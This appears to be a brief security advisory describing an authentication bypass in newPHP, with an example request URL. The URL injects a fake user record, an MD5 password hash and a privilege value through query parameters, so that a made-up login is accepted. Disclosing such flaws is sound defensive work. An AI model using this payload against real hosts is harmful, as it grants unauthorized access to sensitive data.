source: https://www.securityfocus.com/bid/8489/info

A vulnerability is reported to exist in newPHP that may allow an attacker to gain access to a vulnerable host due to improper verification of authentication credentials.

This issue may be exploited to gain access to sensitive data or perform other unauthorized actions. 

http://[host]/nphp/?[action here, example: output]&
pword=a&
uname=[fake usernamehere]&
nphp_users[user index here][0]=a&
nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
nphp_users[user index here][3]=5